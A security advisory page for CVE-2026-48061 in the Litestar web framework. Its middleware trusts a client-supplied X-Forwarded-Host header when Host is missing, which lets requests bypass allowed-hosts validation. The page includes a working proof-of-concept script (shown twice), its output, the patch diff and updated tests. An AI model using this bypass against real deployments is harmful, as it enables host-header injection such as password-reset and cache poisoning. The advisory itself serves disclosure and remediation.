VYPR
Medium severity5.9NVD Advisory· Published Jun 10, 2026· Updated Jun 10, 2026

Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header

CVE-2026-48061

Description

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions

PoC

"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output: `` [*] Host: evil.com -> 400 (blocked) [*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed) [!] AllowedHosts check passed using client-controlled X-Forwarded-Host ``

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

  • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
  • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
  • Routing manipulation: backend routing decisions based on host value can be influenced

Affected products

1

Patches

1
6930a20ceb54

fix: ignore x-allowed-hosts

https://github.com/litestar-org/litestarJanek NouvertnéMay 20, 2026via ghsa-ref
2 files changed · +19 10
  • litestar/middleware/allowed_hosts.py+1 1 modified
    @@ -64,7 +64,7 @@ async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
                 return
     
             headers = MutableScopeHeaders(scope=scope)
    -        if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    +        if host := headers.get("host").split(":")[0]:
                 if self.allowed_hosts_regex.fullmatch(host):
                     await self.app(scope, receive, send)
                     return
    
  • tests/unit/test_middleware/test_allowed_hosts_middleware.py+18 9 modified
    @@ -66,25 +66,34 @@ def test_allowed_hosts_middleware_redirect_regex() -> None:
     
     
     @pytest.mark.parametrize(
    -    "base_url,expected_status_code",
    +    "base_url,forwarded_host,expected_status_code",
         [
    -        ("http://x.example.com", HTTP_200_OK),
    -        ("http://x.y.example.com", HTTP_200_OK),
    -        ("http://moishe.zuchmir.com", HTTP_200_OK),
    -        ("http://moisheAzuchmir.com", HTTP_400_BAD_REQUEST),
    -        ("http://x.moishe.zuchmir.com", HTTP_400_BAD_REQUEST),
    -        ("http://x.example.x.com", HTTP_400_BAD_REQUEST),
    +        ("http://x.example.com", None, HTTP_200_OK),
    +        ("http://x.y.example.com", None, HTTP_200_OK),
    +        ("http://moishe.zuchmir.com", None, HTTP_200_OK),
    +        ("http://moisheAzuchmir.com", None, HTTP_400_BAD_REQUEST),
    +        ("http://x.moishe.zuchmir.com", None, HTTP_400_BAD_REQUEST),
    +        (None, "x.example.com", HTTP_400_BAD_REQUEST),
         ],
     )
    -def test_middleware_allowed_hosts(base_url: str, expected_status_code: int) -> None:
    +def test_middleware_allowed_hosts(
    +    base_url: str | None,
    +    forwarded_host: str | None,
    +    expected_status_code: int,
    +) -> None:
         @get("/")
         def handler() -> dict:
             return {"hello": "world"}
     
         config = AllowedHostsConfig(allowed_hosts=["*.example.com", "moishe.zuchmir.com"])
     
         with create_test_client(handler, allowed_hosts=config) as client:
    -        client.base_url = base_url  # type: ignore[assignment]
    +        if base_url:
    +            client.base_url = base_url  # type: ignore[assignment]
    +        if not base_url:
    +            client.headers["host"] = ""
    +        if forwarded_host:
    +            client.headers["x-forwarded-host"] = forwarded_host
             response = client.get("/")
             assert response.status_code == expected_status_code
     
    

Vulnerability mechanics

Root cause

"The AllowedHostsMiddleware incorrectly trusts the X-Forwarded-Host header when the Host header is absent."

Attack vector

An attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain [ref_id=1]. This is possible when the application is deployed without a reverse proxy that strips `X-Forwarded-Host` or when accepting HTTP/1.0 connections [ref_id=2]. The middleware falls back to `X-Forwarded-Host` without verifying if the request passed through a trusted proxy [ref_id=1].

Affected code

The vulnerability exists in the `AllowedHostsMiddleware.__call__` method within the `litestar/middleware/allowed_hosts.py` file. Specifically, the line `if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:` is responsible for resolving the host value used for validation [ref_id=1]. The patch modifies this logic in `litestar/middleware/allowed_hosts.py` [patch_id=5505540].

What the fix does

The patch modifies the `AllowedHostsMiddleware.__call__` method to no longer use the `X-Forwarded-Host` header as a fallback when the `Host` header is absent [patch_id=5505540]. The code now strictly relies on the `Host` header for validation, removing the insecure fallback mechanism that allowed the bypass [patch_id=5505540]. This prevents attackers from injecting a malicious host via the `X-Forwarded-Host` header.

Preconditions

  • configThe application must be configured with `AllowedHostsConfig`.
  • networkThe application must be deployed without a reverse proxy that strips the `X-Forwarded-Host` header, or it must accept HTTP/1.0 connections.

Reproduction

```python import asyncio from litestar import Litestar, get from litestar.config.allowed_hosts import AllowedHostsConfig from litestar.testing import TestClient

@get("/") async def index() -> dict: return {"status": "ok"}

app = Litestar( route_handlers=[index], allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]), )

# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c: resp = c.get("/", headers={"host": "evil.com"}) assert resp.status_code == 400 print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")

# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass(): scope = { "type": "http", "method": "GET", "path": "/", "root_path": "", "scheme": "http", "query_string": b"", "headers": [ # No "host" header — only x-forwarded-host (b"x-forwarded-host", b"trusted.example.com"), ], "server": ("testserver", 80), "app": app, "litestar_app": app, "state": {}, }

captured = {}

async def receive(): return {"type": "http.request", "body": b""}

async def send(message): if message["type"] == "http.response.start": captured["status"] = message["status"]

await app(scope, receive, send) return captured["status"]

status = asyncio.run(test_bypass()) print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)") assert status == 200, f"Expected 200, got {status}" print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host") ```

Generated on Jun 10, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

3

News mentions

0

No linked articles in our index yet.